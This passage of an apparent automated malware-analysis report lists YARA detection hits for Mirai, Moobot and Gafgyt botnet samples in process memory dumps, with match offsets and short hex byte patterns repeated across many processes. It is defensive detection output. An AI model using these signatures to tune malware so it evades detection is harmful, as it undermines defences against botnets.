39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6572.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6629.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6579.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6579.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6579.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6579.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6579.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6579.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6561.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6561.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6561.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6561.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6561.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6561.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6399.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6436.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6535.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6535.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6535.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6535.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6535.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6535.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6508.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6260.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6260.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6260.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6260.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6260.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6260.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6904.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6904.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6904.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6904.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6904.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6904.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6287.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6287.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6287.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6287.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
